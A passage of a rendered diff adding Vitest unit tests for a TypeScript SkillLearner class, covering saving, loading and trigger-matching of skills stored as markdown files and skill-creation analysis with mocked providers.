await learner.saveSkill(makeSkill('s1'));
|
|
28
|
+
await learner.saveSkill(makeSkill('s2'));
|
|
29
|
+
const skills = await learner.loadLearnedSkills();
|
|
30
|
+
expect(skills.length).toBeGreaterThanOrEqual(2);
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it('round-trip: save then load matches', async () => {
|
|
34
|
+
const skill = makeSkill('roundtrip');
|
|
35
|
+
await learner.saveSkill(skill);
|
|
36
|
+
const skills = await learner.loadLearnedSkills();
|
|
37
|
+
const found = skills.find(s => s.name === 'roundtrip');
|
|
38
|
+
expect(found).toBeDefined();
|
|
39
|
+
expect(found!.description).toBe(skill.description);
|
|
40
|
+
expect(found!.instructions).toBe(skill.instructions);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
it('matchSkill with regex pattern', async () => {
|
|
44
|
+
const skill = makeSkill('deploy-app', 'deploy|release');
|
|
45
|
+
await learner.saveSkill(skill);
|
|
46
|
+
await learner.loadLearnedSkills();
|
|
47
|
+
const match = learner.matchSkill('please deploy the app');
|
|
48
|
+
expect(match).toBeDefined();
|
|
49
|
+
expect(match!.name).toBe('deploy-app');
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('matchSkill with keyword fallback', async () => {
|
|
53
|
+
const skill = makeSkill('send-email', 'send.*email');
|
|
54
|
+
skill.examples = ['send email to boss', 'email the team'];
|
|
55
|
+
await learner.saveSkill(skill);
|
|
56
|
+
await learner.loadLearnedSkills();
|
|
57
|
+
const match = learner.matchSkill('send email to the team');
|
|
58
|
+
expect(match).toBeDefined();
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
it('matchSkill returns null on no match', async () => {
|
|
62
|
+
const skill = makeSkill('deploy-app', 'deploy|release');
|
|
63
|
+
await learner.saveSkill(skill);
|
|
64
|
+
await learner.loadLearnedSkills();
|
|
65
|
+
const match = learner.matchSkill('what is the weather?');
|
|
66
|
+
expect(match).toBeNull();
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
it('empty skills dir returns empty array', async () => {
|
|
70
|
+
const skills = await learner.loadLearnedSkills();
|
|
71
|
+
expect(skills).toEqual([]);
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it('special characters in skill name handled', async () => {
|
|
75
|
+
const skill = makeSkill('my-skill-v2');
|
|
76
|
+
await learner.saveSkill(skill);
|
|
77
|
+
expect(fs.existsSync(path.join(tmpDir, 'my-skill-v2.md'))).toBe(true);
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
it('saving same skill overwrites', async () => {
|
|
81
|
+
const skill1 = makeSkill('same');
|
|
82
|
+
await learner.saveSkill(skill1);
|
|
83
|
+
const skill2 = makeSkill('same');
|
|
84
|
+
skill2.description = 'updated description';
|
|
85
|
+
await learner.saveSkill(skill2);
|
|
86
|
+
const skills = await learner.loadLearnedSkills();
|
|
87
|
+
const found = skills.filter(s => s.name === 'same');
|
|
88
|
+
expect(found).toHaveLength(1);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
it('skill version field preserved through save/load', async () => {
|
|
92
|
+
const skill = makeSkill('versioned');
|
|
93
|
+
skill.version = 3;
|
|
94
|
+
await learner.saveSkill(skill);
|
|
95
|
+
const skills = await learner.loadLearnedSkills();
|
|
96
|
+
const found = skills.find(s => s.name === 'versioned');
|
|
97
|
+
expect(found).toBeDefined();
|
|
98
|
+
expect(found!.version).toBe(3);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
it('loadSkills ignores non-md files', async () => {
|
|
102
|
+
fs.writeFileSync(path.join(tmpDir, 'readme.txt'), 'not a skill');
|
|
103
|
+
const skills = await learner.loadLearnedSkills();
|
|
104
|
+
expect(skills).toHaveLength(0);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
it('multiple skills: only matching one returned', async () => {
|
|
108
|
+
await learner.saveSkill(makeSkill('alpha', 'alpha|first'));
|
|
109
|
+
await learner.saveSkill(makeSkill('beta', 'beta|second'));
|
|
110
|
+
await learner.loadLearnedSkills();
|
|
111
|
+
const match = learner.matchSkill('trigger beta action');
|
|
112
|
+
expect(match).toBeDefined();
|
|
113
|
+
expect(match!.name).toBe('beta');
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
it('skills dir created if not exists', async () => {
|
|
117
|
+
const newDir = path.join(tmpDir, 'nested', 'skills');
|
|
118
|
+
const l2 = new SkillLearner(newDir);
|
|
119
|
+
await l2.saveSkill(makeSkill('nested'));
|
|
120
|
+
expect(fs.existsSync(path.join(newDir, 'nested.md'))).toBe(true);
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it('analyzeForSkillCreation returns null with non-creating provider', async () => {
|
|
124
|
+
const mockProvider = {
|
|
125
|
+
name: 'mock',
|
|
126
|
+
chat: vi.fn().mockResolvedValue('{"shouldCreate": false, "skill": null}'),
|
|
127
|
+
chatStream: vi.fn(),
|
|
128
|
+
};
|
|
129
|
+
const result = await learner.analyzeForSkillCreation(
|
|
130
|
+
[{ id: '1', role: 'user', content: 'hello', timestamp: Date.now() }],
|
|
131
|
+
mockProvider as any,
|
|
132
|
+
);
|
|
133
|
+
expect(result).toBeNull();
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
it('analyzeForSkillCreation handles provider error gracefully', async () => {
|
|
137
|
+
const mockProvider = {
|
|
138
|
+
name: 'mock',
|
|
139
|
+
chat: vi.fn().mockRejectedValue(new Error('API error')),
|
|
140
|
+
chatStream: vi.fn(),
|
|
141
|
+
};
|
|
142
|
+
const result = await learner.analyzeForSkillCreation(
|
|
143
|
+
[{ id: '1', role: 'user', content: 'hello', timestamp: Date.now() }],
|
|
144
|
+
mockProvider as any,
|
|
145
|
+
);
|
|
146
|
+
expect(result).toBeNull();
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
function makeSkill(name: string, trigger = 'test', description = 'A test skill') {
|
|
151
|
+
return {
|
|
152
|
+
name,
|
|
153
|
+
description,
|
|
154
|
+
trigger,
|
|
155
|
+
instructions: 'Do the thing',
|
|
156
|
+
examples: ['example 1', 'example 2'],
|
|
157
|
+
createdAt: new Date(),
|
|
158
|
+
usageCount: 0,
|
|
159
|
+
version: 1,
|
|
160
|
+
};
|
|
161
|
+
}
|